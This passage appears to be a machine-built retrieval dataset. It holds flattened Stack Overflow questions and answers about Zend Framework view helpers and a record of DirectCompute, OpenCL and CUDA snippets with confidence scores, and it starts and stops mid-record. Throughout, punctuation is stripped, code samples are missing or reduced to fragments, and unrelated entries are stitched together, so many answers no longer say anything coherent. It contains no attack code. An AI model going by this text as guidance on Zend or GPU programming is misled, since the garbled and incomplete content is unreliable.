. Does anyone have an idea of how to access the other services .. . Answer : I guess you are retrieving the Zend View HelperPluginManager instead of the correct ServiceManager . Probably you are not injecting it as you should . That makes sense if thats your complete LoggedCustomer code since you are not saving the SM . As far as I know if you implement the ServiceLocatorAwareInterface the SM will be injected but you have to handle it . UPDATE : .. . .. . sorry i didnt realize you had ServiceLocatorAwareTrait thats the same . But reading http : framework.zend.com manual 2.0 en modules zend.service-manager.quick-start.html i see .. . .. . By default the Zend Framework MVC registers an initializer that will inject the ServiceManager instance which is an implementation of Zend ServiceManager ServiceLocatorInterface into any class implementing Zend ServiceManager ServiceLocatorAwareInterface . A simple implementation looks like the following . So the service manager is only being injected .. . if you implement ServiceLocatorAwareInterface in a controller . So you should manually inject the service manager . for that what i use to do is to create a factory in Module.php instead of creating the invokable in the config . for that you implement this function : .. . .. . Also i wont have the view helper implementing ServiceLocatorAwareInterface so nothing else is automaticaly injected . And with this it will work Comment : Isn t your code the same thing as using the Zend ServiceManager ServiceLocatorAwareTrait Also I just make sure that I m not injecting the Zend View HelperPluginManager instead of the ServiceManager . I put the view helper as a factory and called helper- setServiceLocator pluginManager- getServiceLocator . The problem still persists . Did you read my edit in the question It is really strange that I m getting a service manager only with the services registered in the view manager of module.config.php . Comment : I think your way is the correct one . @rafaame Injecting the service manager directly into a view helper is considered a bad practice because your helper will have access to all services and that s not the purpose of a helper . Comment : Thank youuu so much i ve lost a half day in trying to make it work .", "Question : Working with Zend Framework 1 I m currently stucked with placeholders and really don t understand where is the issue . I would like to render some content using a placeholder in my main view : .. . .. . I have a main action in which I create the page but I would like to set the render for this placeholder in another action using ActionStack Helper . It seems to be impossible . This line : .. . .. . give the expected result when written on the main action but has no effect inside the action I call with ActionStack . I ve try to handle the placeholder in the view of my new action and inside the code of the action . No result my placeholder give me no output . Any clues I work on a project which don t use Zend Layout I don t know if it may have a consequence Comment : Please explain further : Do you want the new action to set content for the segment placeholder that you want to be rendered in the main action output Comment : yes this is exactly what I want Comment : The problem can be the view is your main.phtml view script which gets rendered after the mainAction was finished . So the placeholder is rendered when the mainAction is done . Changing to another Action after the mainAction which is what the ActionStack Helper does just not sending the response and finishing the dispatch process but instead call the next action from the stack . Maybe you should prevent rendering th eview in the mainAction and instead render a view in your last action from your action stack . Comment : In my mind the views was rendered after the run of every actions . So I have a misunderstood of the routing MVC of Zend . Thank you for this . .. . Answer : There are some things with the Zend Action Stack Helper which are really bad and this is why i suggest you to not use this helper at all . Here are some infos about why i suggest it : .. . .. . http : www.rmauger.co.uk 2009 03 why-the-zend-framework-actionstack-is-evil .. . .. . You should really try another approach like using a parent class with protected attribs you write during the dispatch process . Maybe tell us what you want to do and we can try to give you some other ideas and examples on how to solve your problem in a different way . I will now add another solution .. . .. . I think what you want to do is building up some kind of information into a variable you can use in your view script . Let s say you have an IndexController.php in you Application controllers folder . In your main.phtml view script or in any other view script that gets rendered in this dispatching process you can now use the constructed view variable like any other viwe variable .", "Question : I have extended the Zend paginator so I can use it in my own service-layer . The issue is getting it to display in my view . My admin page is not in a view script folder but in a some legacy code in public - don t ask lol . I have got an instance of view from the bootstrap and I am trying to display the paginator . Fatal error : Uncaught exception Zend View Exception with message no view script directory set unable to determine location for view script in usr share php Zend View Abstract.php : 973 .. . .. . Any idea why it s not finding my pagination.phtml in the view scripts dir Thanks Comment : It s not a problem with paginator the application is not finding the default script paths maybe try view- addScriptPath PATH or view- setScriptPath PATH . You may have broken something in the bootstrap . Comment : That worked thank do you mind adding it as the answer so I can accept : .. . Answer : It s not a problem with paginator the application is not finding the default script paths maybe try .. . .. . view- addScriptPath PATH .. . .. . or .. . .. . view- setScriptPath PATH . You may have broken something in the bootstrap .", "Question : I want to add custom view helper in zend-framework like this : .. . .. . 1 . I placed in application.ini this code : .. . .. . .. . includePaths.library APPLICATION PATH . . library .. . and create library directory in myproject root .. . .. . 2 . create-view helper TabEntry.php in library directory .. . .. . .. . class Zend View Helper TabEntry extends Zend View Helper Abstract .. . .. . .. . public function TabEntry .. . .. . .. . .. . .. . .. . 3 . create another view helper TabEntries.php in library directory .. . .. . .. . class Zend View Helper TabEntries extends Zend View Helper TabEntry .. . .. . .. . public function TabEntries .. . .. . .. . .. . .. . .. . 4 . when in my phtml use this- TabEntries get error .. . 5 . in Bootstrap.php I add some code : .. . view- addHelperPath MyView Helpers library MyView Helpers .. . viewRenderer Zend Controller Action HelperBroker : : getStaticHelper ViewRenderer viewRenderer- setView view Comment : chouldn T it be this- tabEntries : Comment : And what kind of error you get Comment : this error Class Zend View Helper TabEntry not found .. . Answer : Zend framework located in var www html you .. . .. . 1 you application views helpers Magic is here .. . .. . 2 Put this file called Stuff.php in above path .. . .. . .. . php .. . class Zend View Helper Stuff extends Zend View Helper Abstract .. . .. . public function stuff .. . .. . output IK BEN View Helper en DAN .. . return htmlspecialchars output .. . .. . .. . .. . .. . .. . .. . 3 Go to you application views scripts index index.phtml this- stuff : .. . .. . 4 output will be the output .", "Question : In ZF1 I used the view component to render email templates as follows : .. . .. . How do I go about this in ZF2 I think I need to create a new ViewModel assign my variables and set the template but where to from there Note that I am not doing this in the controller . I have seen this question ZF2 view rendering http : stackoverflow.com questions 15479262 zf2-view-rendering where the html is returned in the MVC response but I am looking to render a template and store the result in a variable which I then assign to the email body . I would do this in a service-layer . The view instance which is related to the MVC process would be unrelated to the instance I use to render the email body . .. . Answer : You need ServiceManager to do this . Try this in your Controller : Comment : Thanks Mohamad that was just what I needed .", "Question : I want to generate a dynamic site using Zend Layout . My layout application layouts scripts layout.phtml contains the following lines : .. . .. . If i browse to my index controller index action - Zend renders the index view application views scripts index index.phtml inside of this- layout - content automatically . Now i want to render the views of to different controller actions in the layout . So i generate a new controller auth with an action login that shows a login form . I change my layout to : .. . .. . When i browse to index index i want to define in this action that zend should render auth login view inside this- layout - login and for example news list inside of this- layout - content . index index is than a kind of a page layout - and auth login and news list a kind of widget .. . .. . How to do this Comment : Actually another question what do you prefer to use view helpers or view scripts .. . Answer : First advice is to avoid the Action view helper at all costs it will probably be removed in ZF 2.0 anyway . ZF-5840 http : framework.zend.com issues browse ZF-5840 Why the actionstack is evil http : www.rmauger.co.uk 2009 03 why-the-zend-framework-actionstack-is-evil .. . .. . This is related to a question I asked http : stackoverflow.com questions 941216 action-view-helper-in-zend-work-around - and bittarman s answer is pretty useful . The best way to implement something like that is to have a view helper that can generate your login area . My View Helper Login for instance . Then your layout can call this- login and so can the view script for user login . As far as having index index render the content from news list just forward the request to the other controller action from the controller . this- forward list news Comment : thanks i havet thought about the performance issue yet .", "Question : Here http : samsonasik.wordpress.com 2012 07 20 zend-framework-2-create-your-custom-view-helper I see someone suggesting to extend the Zend View Helper Escaper AbstractHelper resulting in something like this : .. . .. . However when I try it in my codes I get an Error .. . .. . Is it ok to error the error message Or is there any better ways to do this Thanks .. . Answer : I wouldn t recommend extending the Abstract Escape helper since you aren t writing an escape helper . Stick to your original plan and just extend Zend View Helper AbstractHelper . You can then access the escape helpers via . this- view- escapeHtml this- view- escapeJs and so on .", "Question : I want to add custom view helper in zend-framework like this : .. . .. . 1 . I placed in application.ini this code : .. . .. . .. . includePaths.library APPLICATION PATH . . library .. . and create library directory in myproject root .. . .. . 2 . create-view helper TabEntry.php in library directory .. . .. . .. . class Zend View Helper TabEntry extends Zend View Helper Abstract .. . .. . .. . public function TabEntry .. . .. . .. . .. . .. . .. . 3 . create another view helper TabEntries.php in library directory .. . .. . .. . class Zend View Helper TabEntries extends Zend View Helper TabEntry .. . .. . .. . public function TabEntries .. . .. . .. . .. . .. . .. . 4 . when in my phtml use this- TabEntries get error .. . 5 . in Bootstrap.php I add some code : .. . view- addHelperPath MyView Helpers library MyView Helpers .. . viewRenderer Zend Controller Action HelperBroker : : getStaticHelper ViewRenderer viewRenderer- setView view Comment : chouldn T it be this- tabEntries : Comment : And what kind of error you get Comment : this error Class Zend View Helper TabEntry not found .. . Answer : Double check the code you have in your bootstrap .. . .. . in Bootstrap.php I add some code : .. . .. . .. . view- addHelperPath MyView Helpers library MyView Helpers .. . viewRenderer Zend Controller Action HelperBroker : : getStaticHelper ViewRenderer .. . viewRenderer- setView view .. . .. . .. . Should be more like .. . .. . On my side I use : .. . .. . and have that kind of class in Julien View Helper Percent.php .. . .. . then calling in the view .. . .. . will output .. . .. . and my directory layout looks like", "Question : Does anyone know if PHPStorm has some builtin support for view helper autocompletion or a possibility to write a plugin for it . I don t want to use inline var definitions for this as this would be cumbersome to do if I use a lot of view helpers .. . .. . If I use var definitions it will end up as something like this but it will really clutter up my view : Comment : How inlineScript and or translate are declared Maybe they simply do not have appropriate PHPDocs Comment : @LazyOne they are dynamicly created through the magic call method : Comment : Something like github.com zendframework zf2 blob release-2.1.3 library Zend https : github.com zendframework zf2 blob release-2.1.3 library Zend Mvc Controller AbstractController.php L31-L42 may be applied to the PHPRenderer.. . Then you would typehint @var this Zend View Renderer PhpRenderer . That could potentially work Comment : @Ocramius seems like a nice solution . That would imply I need to create a PR for ZF2 to accommodate for all the build in ZF2 helpers . Any chance this would be accepted How about any custom view helpers than Which editor are you using and don t you miss the autocompletion for view when you are editing views Comment : @BramGerritsen correct . For custom view helpers you would have to typehint this as a fake class that extends the PhpRenderer and has the additional hints . .. . Answer : NOTE I m posting my method discussed in the comments as answer . To typehint non-existing methods the syntax is as following : .. . .. . This allows us to use have a type-hint for method url on any variable recognized as MyClass : .. . .. . You need such a fake class and then start your view scripts with : .. . .. . That will give you type-hints on this within your view script . You could ideally open a pull request against https : github.com zendframework zf2 with something similar to https : github.com zendframework zf2 pull 3438 Comment : I have create a PR https : github.com zendframework zf2 pull 3924 Comment : How does this help for user defined view helpers though You cannot edit AbstractController so user defined helpers will still be unknown . Comment : @QuolonelQuestions you can always subclass if it s worth it", "Question : I am working on a Zend Framework based app and in controller plugins I can get Zend View object with the following methods someone please tell me which approach is better and why or Comment : Depends on context . Comment : i will appreciate if you can share when layout approach is better and when viewrendrer should be used . Right now I am writing a controller-plugin and I need access to view object so which approach better suits . Comment : thous are two different things . viewRenderer is responsible for determining target view script and auto-rendering after execution of action . Zend Layout is used general to layout scripts . If you are using MVC you should be able to access view from controller using this- view . Comment : yes I can access the view in controller but I need to access view in a controller plugin and plugin object don t have direct access to the view . so need to know whci approach is better . .. . Answer : It is better to pull it from the viewRenderer because then you re sure you ll always get it . You may not be using Layout in some contexts and then you won t get the view through the layout . So to be on the save side pull it from the viewRenderer it s more direct anyways and therefore faster too .", "Question : I want to add custom view helper in zend-framework like this : .. . .. . 1 . I placed in application.ini this code : .. . .. . .. . includePaths.library APPLICATION PATH . . library .. . and create library directory in myproject root .. . .. . 2 . create-view helper TabEntry.php in library directory .. . .. . .. . class Zend View Helper TabEntry extends Zend View Helper Abstract .. . .. . .. . public function TabEntry .. . .. . .. . .. . .. . .. . 3 . create another view helper TabEntries.php in library directory .. . .. . .. . class Zend View Helper TabEntries extends Zend View Helper TabEntry .. . .. . .. . public function TabEntries .. . .. . .. . .. . .. . .. . 4 . when in my phtml use this- TabEntries get error .. . 5 . in Bootstrap.php I add some code : .. . view- addHelperPath MyView Helpers library MyView Helpers .. . viewRenderer Zend Controller Action HelperBroker : : getStaticHelper ViewRenderer viewRenderer- setView view Comment : chouldn T it be this- tabEntries : Comment : And what kind of error you get Comment : this error Class Zend View Helper TabEntry not found .. . Answer : According to ZF coding application structure correct version would be : .. . .. . In application.ini : .. . .. . Then the helpers : not sure why do you need another abstract-class : .. . .. . In the view : .. . .. . Important : call user func and Linux filesystem are case sensitive . Comment : thanks for your replay Comment : By doing this I get this error : Fatal error : Class MyView Helpers TabEntry not found in D : Program Files Zend Apache2 htdocs tab cms library MyView Helpers TabEntries.php on line 3 Comment : @Behrang Double check your file names and ensure you are following PEAR naming-conventions . Comment : dear takeshin file names are correct I m really confused I want to use only one class in another OOP", "Question : I am working on a Zend Framework based app and in controller plugins I can get Zend View object with the following methods someone please tell me which approach is better and why or Comment : Depends on context . Comment : i will appreciate if you can share when layout approach is better and when viewrendrer should be used . Right now I am writing a controller-plugin and I need access to view object so which approach better suits . Comment : thous are two different things . viewRenderer is responsible for determining target view script and auto-rendering after execution of action . Zend Layout is used general to layout scripts . If you are using MVC you should be able to access view from controller using this- view . Comment : yes I can access the view in controller but I need to access view in a controller plugin and plugin object don t have direct access to the view . so need to know whci approach is better . .. . Answer : Since Zend Layout : : getView method looks like the following : .. . .. . .. . i would prefer to use it Comment : What happens when layout is not used", "Question : I want to generate a dynamic site using Zend Layout . My layout application layouts scripts layout.phtml contains the following lines : .. . .. . If i browse to my index controller index action - Zend renders the index view application views scripts index index.phtml inside of this- layout - content automatically . Now i want to render the views of to different controller actions in the layout . So i generate a new controller auth with an action login that shows a login form . I change my layout to : .. . .. . When i browse to index index i want to define in this action that zend should render auth login view inside this- layout - login and for example news list inside of this- layout - content . index index is than a kind of a page layout - and auth login and news list a kind of widget .. . .. . How to do this Comment : Actually another question what do you prefer to use view helpers or view scripts .. . Answer : I would also advise against using the action view helper . Unless you have a bunch of logic in your controller you probably don t need to dispatch another request to another controller just to render a view partial . I would recommend simply using a view partial just like you have done with your header.phtml and footer.phtml : .. . .. . And maybe your auth login.phtml view script looks like this : .. . .. . As long as you set your view variables at some point in your controller you can call the render view helper from within a view or even a controller if you wanted to . Comment : What if we re not in index index index controller index action view- user will not be defined how to make the logic behind view- user separate from the current action Seems like the answer as far as I found in my research is a view helper right. .", "Question : How I can obtain traslator locale in my view I want to do it starting from the variable this the PhpRenderer of the view . i.e . I don t want use onBootstrap nor ActionController because I don t care to have a view variables . Thank you Comment : If you don t care for certain stuff please provide your use-case too . Since that may influence the answer . tbp : what exactly do you want to do .. . Answer : See : Get local value in layout or view in Zend Framework 2 http : stackoverflow.com questions 20088050 get-local-value-in-layout-or-view-in-zend-framework-2", "Question : I want to generate a dynamic site using Zend Layout . My layout application layouts scripts layout.phtml contains the following lines : .. . .. . If i browse to my index controller index action - Zend renders the index view application views scripts index index.phtml inside of this- layout - content automatically . Now i want to render the views of to different controller actions in the layout . So i generate a new controller auth with an action login that shows a login form . I change my layout to : .. . .. . When i browse to index index i want to define in this action that zend should render auth login view inside this- layout - login and for example news list inside of this- layout - content . index index is than a kind of a page layout - and auth login and news list a kind of widget .. . .. . How to do this Comment : Actually another question what do you prefer to use view helpers or view scripts .. . Answer : You can use the not so speed performant .. . .. . or you try it with .. . .. . see http : framework.zend.com manual en zend.view.helpers.html zend.view.helpers.initial.partial Comment : I d advise against this- action it is very inefficient .", "Question : How do I instantiate multiple instances of a view helper plugin in Zend 2 I want to return a new instance every time I call this- pluginName from the view . How do I return a new instance of the view plugin .. . Answer : Add the service name to the getViewHelperConfig shared configuration key in Module.php and set this value to false .. . .. . Module.php .. . .. . By adding MyViewHelper false the service manager or View Helper plugin manager will create a new instance of that service each time it is used . The documentation states http : zf2.readthedocs.org en latest modules zend.service-manager.quick-start.html using-configuration .. . .. . shared An array of service name boolean pairs indicating whether or not a service should be shared . By default the ServiceManager assumes all services are shared but you may specify a boolean false value here to indicate a new instance should be returned . Comment : The answer is definitely correct Unfortunately there currently seems to be an issue with this solution : github.com zendframework zf2 issues 4221 issuecomment-47195693 https : github.com zendframework zf2 issues 4221 issuecomment-47195693 Comment : @Webdevilopers looking at Zend View Renderer PhpRenderer : : call I do think this is still a bug . You can see it adds the helper to pluginCache on the first call https : github.com zendframework zf2 blob master library Zend View Renderer PhpRenderer.php L396 then each subsequent call is then reusing this . It should allways try to fetch the plugin from the ViewHelperManager just like the plugin method does https : github.com zendframework zf2 blob master library Zend View Renderer PhpRenderer.php L377 as this will check the shared variable . Comment : I think that is what weierophinney is looking for in the issue Can you post it there too please Comment : I added your suggestion to the issue : github.com zendframework zf2 issues 4221 issuecomment-47750073 https : github.com zendframework zf2 issues 4221 issuecomment-47750073 Comment : @Webdevilopers I checked out the latest branch to apply a fix but it has already been applied I suggest you update .", "Question : How can I check if a Zend View Placeholder isset before echo-ing it out As I am wanting to prepend - to it before outputting it . I tried .. . .. . But I got .. . .. . Fatal error : Can t use method return-value in write context in D : Projects Websites php ZendFramework LearningZF application layouts scripts layout.phtml on line 5 .. . .. . On a side note how come when I got this error why isn t it shown in the Error View Script The error was shown in a blank page without layout . .. . Answer : Warning : Missing argument 1 for Zend View Helper Placeholder : : placeholder in library Zend View Helper Placeholder.php on line 72 .. . .. . Notice : Undefined variable : name in library Zend View Helper Placeholder.php on line 74 .. . .. . Fatal error : Call to undefined method Zend View Helper Placeholder Container : : getRegistry in path to index.phtml on line 109 .. . .. . Per my comment to Benjamin Cremer s answer fatal-error shown above I came up with a nice simple solution :" ] }
[ "yes-answer-long", "yes-answer-short" ]
zend-framework
UNK_RELATION
directcompute@windows-vista@170
directcompute -- microsoft directcompute is an application programming interface api that supports general-purpose computing on graphics processing units on microsoft s @placeholder windows-7 and windows-8 .
{ "confidence": [ 57.07575225830078, 48.7308349609375, 47.54884338378906, 46.878753662109375, 45.89179992675781, 44.19755172729492, 43.31794357299805, 41.69640350341797, 41.623695373535156, 41.623695373535156, 40.99786376953125, 40.499725341796875, 39.83150863647461, 39.83150863647461, 39.83150863647461, 38.13726043701172, 38.13726043701172, 36.82923889160156, 35.75474548339844, 35.666175842285156, 35.57250213623047, 35.169090270996094, 35.13529968261719, 35.13529968261719, 35.13529968261719, 35.13529968261719, 33.4410514831543, 33.064544677734375, 32.612518310546875, 32.53745651245117, 32.31707763671875, 32.31707763671875, 32.31707763671875, 32.2611198425293, 30.969966888427734, 30.969966888427734, 30.928510665893555, 29.581398010253906, 29.581398010253906, 29.402225494384766, 28.095787048339844, 28.095787048339844, 27.347686767578125, 27.347686767578125, 27.347686767578125, 27.347686767578125, 26.228851318359375, 26.223712921142578, 25.680511474609375, 25.546871185302734, 22.72865104675293, 22.6851806640625, 22.6851806640625, 21.932527542114258, 21.38153839111328, 21.336158752441406, 20.74113655090332, 20.653728485107422, 20.653179168701172, 20.051820755004883, 19.92026138305664, 19.5770206451416, 19.28399085998535, 19.205432891845703, 19.200958251953125, 19.115673065185547, 18.75494384765625, 18.5179386138916, 18.291597366333008, 18.23261070251465, 17.951568603515625, 17.846296310424805, 17.597476959228516, 17.52451515197754, 17.38469696044922, 17.36270523071289, 17.25507354736328, 17.050277709960938, 17.037288665771484, 16.739486694335938, 16.707963943481445, 16.659046173095703, 16.60445785522461, 16.48839569091797, 16.47350311279297, 16.368932723999023, 16.238733291625977, 15.946338653564453, 15.926305770874023, 15.915092468261719, 15.830266952514648, 15.525431632995605, 15.464496612548828, 15.35251235961914, 15.35251235961914, 15.35251235961914, 15.35251235961914, 15.35251235961914, 15.35251235961914, 15.35251235961914 ], "content": [ "I m using DirectCompute to do general computing on the GPU .", "Best to actually stick to a standardised API such as OpenCL or DirectCompute .", "Especially DirectCompute", "DirectCompute is available only in windows and it requires DirectX 10 or newer video-card .", "I m not sure if DirectCompute allows that freedom .", "So now I m looking into DirectCompute .", "Are there any limitations with using DirectCompute on DX10.1 GPUs", "I m looking for comparisons between OpenCL http : en.wikipedia.org wiki OpenCL and DirectCompute http : en.wikipedia.org wiki DirectCompute but I haven t found anything .", "I m attempting to skin vertices using DirectCompute .", "I haven t used DirectCompute only OpenCL .", "Here is a good simple example : .. . .. . http : openvidia.sourceforge.net index.php DirectCompute .. . .. . Personally I would suggest using CUDA OpenCL rather than going the DirectCompute route if your project does not involve graphics .", "Does it get emulated by some software implementation of DirectCompute", "You make other assumptions when you use DirectCompute .", "This may translate to more stable support for DirectCompute but really this is just speculation .", "Hard to find proper documentation for DirectCompute and the SDK doesn t show any examples of this .", "I m writing a simple diffuse path tracer in DirectCompute for education .", "I am learning DirectCompute and I am stuck with StructuredBufferes .", "I know this question was raised before http : stackoverflow.com questions 2915350 directcompute-versus-opencl-for-gpu-programming but I m looking for more details .", "I ve been developing for a bit an invisible read : doesn t produce any visual output stressor to test the capabilities of my graphics card and as a exploration of DirectCompute in general with which I m pretty new .", "I know you are using DirectCompute but they map to the same underlying hardware .", "I have some financial tasks which should map well to GPU computing but I m not really sure if I should go with OpenCL or DirectCompute .", "You can find an implementation in Direct3D 10 here http : code.google.com p amclibrary It does not use DirectCompute but if you know Direct3D it should be straight forward to convert it to DirectCompute .", "Probably the biggest difference for a coder is that DirectCompute is programmed by a language which is similar to HLSL and OpenCL is programmed via a C-like language .", "Also OpenCL guarantees certain things DirectCompute and Compute Shaders from OpenGL do not like IEEE floating-point compliance .", "I use OpenCL because i can easily port my App to Linux but with DirectCompute this is not possible .", "Sorry don t know how to do it in DirectCompute hence not answering the question but I do know it is possible .", "I have had no luck finding such a feature in either the Unity nor the DirectCompute documentation .", "I believe most of DirectCompute developers will use CS 4.x for post-processing in games or so probably with both CS 4.x and CS 5.0 code path .", "once you ve already done the work to parallelise your application you could also consider CUDA over both OpenCL and DirectCompute for the same reason .", "I think CUDA OpenCL are better for general-purpose computing .", "In CUDA you can query this information based on the GPU you re using although I m assuming with DirectCompute this will be abstracted away .", "I haven t seen anything about DirectCompute yet but I expect it to also be good .", "would anyone happen to know of an implementation of AES Encryption Decryption any type using DirectCompute including the HLSL source code", "DirectCompute does not run on CPU resources however the Accelerator v2 from MSR does run on the CPU and rather abstracts the usage of computational resources .", "I ve just started to learn DirectCompute and for learning purposes I want to make a simple convolution filter that blurs a texture .", "Code Examples CUDA .. . .. . OpenCL .. . .. . DirectCompute .. . .. . Here I followed the suggestion from Adam Miles and looked into that source .", "Given that you re looking to non-graphics computations I would suggest that you prefer OpenCL over DirectCompute since you are likely to find more in the way of community assistance .", "I m interested in DirectCompute and I would like to know if it s possible having two different Graphics adapters connected to the computer to use Direct Compute on both at the same time like in CUDA .", "DirectCompute however is more related to the graphics pipeline of which I learning and very unfamiliar with and therefore I have trouble finding out if a Dispatch call is blocking or if previously memory allocation transfers are finished .", "Not familiar with directcompute but judging by slide 59 of this presentation http : on-demand.gputechconf.com gtc 2010 presentations S12312-DirectCompute-Pre-Conference-Tutorial.pdf and overall syntax it should be possible : just create multiple devices with D3D11CreateDevice compile shaders for both of them and so on .", "As far as a i know dispatching a computer shader in directcompute is asynchronous so would be possible to dispatch computer shaders to different devices created with different adapters", "I m really new to DirectCompute technologies and have been attempting to learn from the documentation on the msdn website which is. . dense to say the least .", "Someone on gamedev http : www.gamedev.net topic 586288-my-directcompute-performance-is-abysmal seems to have performance issues when passing a number as great as 768 so it seems to me that you will have to decrease that huge number .", "Although I have been using Direct3D for quite some now time and have familiarity with OpenGL this is the first time I m venturing into DirectCompute OpenCL CUDA territory .", "DirectCompute doesn t allow recursive functions so I need to figure out how to turn this recursive statement into a loop : .. . .. . Generic pseudo-code or C example would be really appreciated", "I have a directcompute shader using TGSM which does something like the following .. . .. . So the 2nd time I try to write and read again from the same TGSM as before it somehow doesn t work correctly .", "PIX For Windows has issues with Win 8 .", "I suppose learning to port those to DirectCompute could be a good exercise but as it is non trivial I wouldn t mind seeing how the HLSL is done correctly from the get-go .", "You can check those links that are valuable resources for learning DX11 : .. . .. . http : www.yakiimo3d.com .. . http : gpuexperiments.blogspot.com .. . http : users.skynet.be fquake .. . http : blogs.msdn.com b directx archive 2010 06 15 introducing-the-directcompute-lecture-series.aspx .. . http : channel9.msdn.com posts gclassy DirectCompute-Expert-Roundtable-Discussion .. . http : microsoftpdc.com Sessions P09-16 .. . http : www.rorydriscoll.com", "Please read carefully what I say : This may translate to more stable support.. . This is speculation but not baseless since the protocol to move memory and functions to and from the video-card is the same for either stack and for DirectCompute shares the same amount of testing and robustness that the better supported DirectX enjoyed .", "I need to do in-place image-editing using DirectCompute - ala : http : msdn.microsoft.com en-us library ff728749 28v vs.85 29.aspx .. . .. . My backbuffer is R8G8B8A8 UNORM and I need to create a UAV of format R32 UINT in order for me to read and write simultaneously within the Compute Shader .", "I m fine with coding on Windows against DX11 GPUs only .", "What does OpenGL support on windows have to do with OpenCL.. .", "The C++ AMP technology that builds on DirectCompute makes it very easy as described here : blogs.msdn.com b nativeconcurrency archive 2012 03 07 http : blogs.msdn.com b nativeconcurrency archive 2012 03 07 using-multiple-accelerators-from-c-amp.aspx I also wonder why you are not using C++ AMP directly and instead usign lower level HLSL", "That was my feeling creating multiple threads on the CPU and managing different devices simultaneously but no way it works but the performance of both directcompute kernels decreases and it s far from executing the shader in the main thread i m still looking into this problem but it seems that there s no way unless in Directx11", "A great many scientific-computing projects buy hardware and build the software to run on it .", "Computing on the GPU reading data back on the CPU", "Well the major advantage of OpenCL is that it is not just limited to graphics cards .", "But code examples from Microsoft site do not explain how does a view defined in C++ code correspond to a specific Buffer defined in shader code .", "Real beginner in GPU computing I was years ago a physics researcher used with C programming working only on algo not on GUI side using simple tools such as smart text-editor and gcc .", "Another difference to consider is that generally for commodity level GPUs the DirectX support is better faster and less buggy than OpenGL support on Windows .", "@Benson : does CUDA supports append buffer consume buffer", "If you haven t yet tried using PIX For Windows AMD GPUPerfStudio NVIDIA Nsight Intel GPA or the Graphics Debugger built into Visual Studio 2012 then these are also good options .", "So far I ve used Windows QueryPerformanceCounter QPC API on the host but that include a lot of overhead not included when using device timestamps .", "See msdn.microsoft.com en-us library windows desktop https : msdn.microsoft.com en-us library windows desktop jj200584 v vs.85 .aspx", "The important thing is the difference in support between the vendors AMD supports OpenCL very well and has support for newer versions NVIDIA which has the competing CUDA product only supports CL 1.1 with image extensions etc .", "only requirement that it supports compute shader 4.0 .", "I did some GPU computing but it was a long time ago 3 years .", "Yes CS fits into the usual DirectX programming structure .", "Assuming that what are the pros and cons of each API", "Indeed C++ AMP has a CPU fallback multi-core plus SSE implementation called WARP aka Microsoft Basic Render Driver : http : www.danielmoth.com Blog Running-C-AMP-Kernels-On-The-CPU.aspx", "I m using msdn.microsoft.com en-us library windows desktop http : msdn.microsoft.com en-us library windows desktop bb509709 v vs.85 .aspx for reference .", "It is probably due to no CachedPso available though I saw on MSDN that Graphics PSO is created without cached data .", "You can make use of your multicore CPU Graphics Card and potentially any number of other hardware-acceleration devices DSPs etc all from the same program .", "8 columns 4 rows .", "UPD : There is an error in the output log no exception actually thrown just a text message hard to notice which appears right after call to CreateCompPS : Exception thrown at 0x774CD928 in DirectComputeInteropLib.exe : Microsoft C++ exception : com error at memory location 0x001DEFF4 .", "I d suggest that you start a thread on the Parallel Computing in C++ and Native Code forum http : social.msdn.microsoft.com Forums vstudio en-US home forum parallelcppnative .", "HLSL has a whole set of interlocked functions that prevent this sort of thing from happening : .. . .. . https : msdn.microsoft.com en-us library windows desktop ff476334 v vs.85 .aspx .. . .. . In my case it was : .. . .. . To replace .. . .. . And that s it", "Well I m doing double buffering so I m always displaying one image and doing the computing for the next at the same time .", "8 columns 2 rows and width 2 Imagine a cube with height 8 width 2 length 2 . .", "Even DX9c HLSL supports it so with some imagination compute shaders should do too .", "Once you are done processing your structuredbuffer call : DeviceContext.CopyResource .. . .. . And you ll have a standard vertex-buffer ready to use .", "Thanks for your time .. . .. . Zach .. . .. . As another note this code was cribbed together using the Microsoft DirectX SDK June 2010 Samples C++ Direct3D11 BasicCompute11 Sample available .", "that you wouldnt have to with just one graphics card needlessly .", "It will allow you to focus on compute and if you do need to integrate with graphics there is an interop layer for that too .", "It can be a little difficult to find documentation but these are the main aspects to GPU programming : .. . .. . Setting up data on the CPU to pass to the GPU .", "Given that AMD at the Fusion conference last year announced their intent to support C++ AMP in their compiler and given that Microsoft really wants to see implementations on other platforms I can say what I said : we should see implementations for other operating systems at some point .", "Your program is not the only thing going on at any given moment and sometimes the OS will put you on hold while other things get some of the processing time .", "DirectX manages the memory http : msdn.microsoft.com en-us library windows desktop ee418784 28v vs.85 29.aspx managed resources for you and the data is copied to the GPU when it needs to be .", "One book that I think is very useful for DirectX11 even if you not doing game programming is Beginning DirectX 11 Game Programming http : rads.stackoverflow.com amzn click 1435458958 book .", "When I dispatch this code in a timed loop and look at my graphics cards stats using GPU-Z http : www.techpowerup.com gpuz my GPU load shoots to 99 for the duration .", "There is nothing really new in DirectX 11 in application architecture code building principles so you could examine new API features and if you re actually proficient with DirectX getting used to them should not be very hard .", "But really it all depends what you are developing how and your target audience professional developer vs hobby coder shipping your application now vs in two years mainstream audience vs pro market etc .", "First question : .. . .. . In this code does DispatchThreadID.x and DispatchThreadID.y have the same value like thread 17 of x and thread 17 of y", "Second question : .. . .. . Can I write this", "A yes or no answer is sufficient but if no please provide a short explanation why .", "It s not clear that what an answer to this question would look like .", "Are you looking for a yes or no answer", "@ArthurUlfeldt Yes or no answer for both the questions .", "If the answer is No then a bit explanation ." ] }
{ "confidence": [ 67.53070068359375, 66.24244689941406, 65.20003509521484, 63.870819091796875, 62.92217254638672, 62.761436462402344, 62.580684661865234, 56.99394226074219, 56.77571105957031, 50.27671432495117, 49.42163848876953, 48.938270568847656, 46.6417350769043, 43.91732406616211, 43.71082305908203, 42.72952651977539, 42.442161560058594, 41.02073287963867, 39.252132415771484, 39.02748107910156 ], "content": [ "Question : I m looking for comparisons between OpenCL http : en.wikipedia.org wiki OpenCL and DirectCompute http : en.wikipedia.org wiki DirectCompute but I haven t found anything . OpenCL s advantages of being cross-platform and having a wider range of supported GPUs don t matter to me . I m fine with coding on Windows against DX11 GPUs only . Assuming that what are the pros and cons of each API I know this question was raised before http : stackoverflow.com questions 2915350 directcompute-versus-opencl-for-gpu-programming but I m looking for more details . I m not interested in CUDA since I don t want to restrict myself to only Nvidia hardware . Comment : You might want to reconsider your stance on CUDA it s pretty kickass as is nvidia hardware . Comment : @Benson Assuming that all your users have Nvidia hardware seems like a pretty big failure . Best to actually stick to a standardised API such as OpenCL or DirectCompute . They both offer the same advantages of CUDA without the disadvantage of only working on Nvidia hardware . In fact nowadays one has to question the decision to use CUDA at all when there are other APIs that do exactly the same thing on any number of different hardware systems . Comment : @Simon 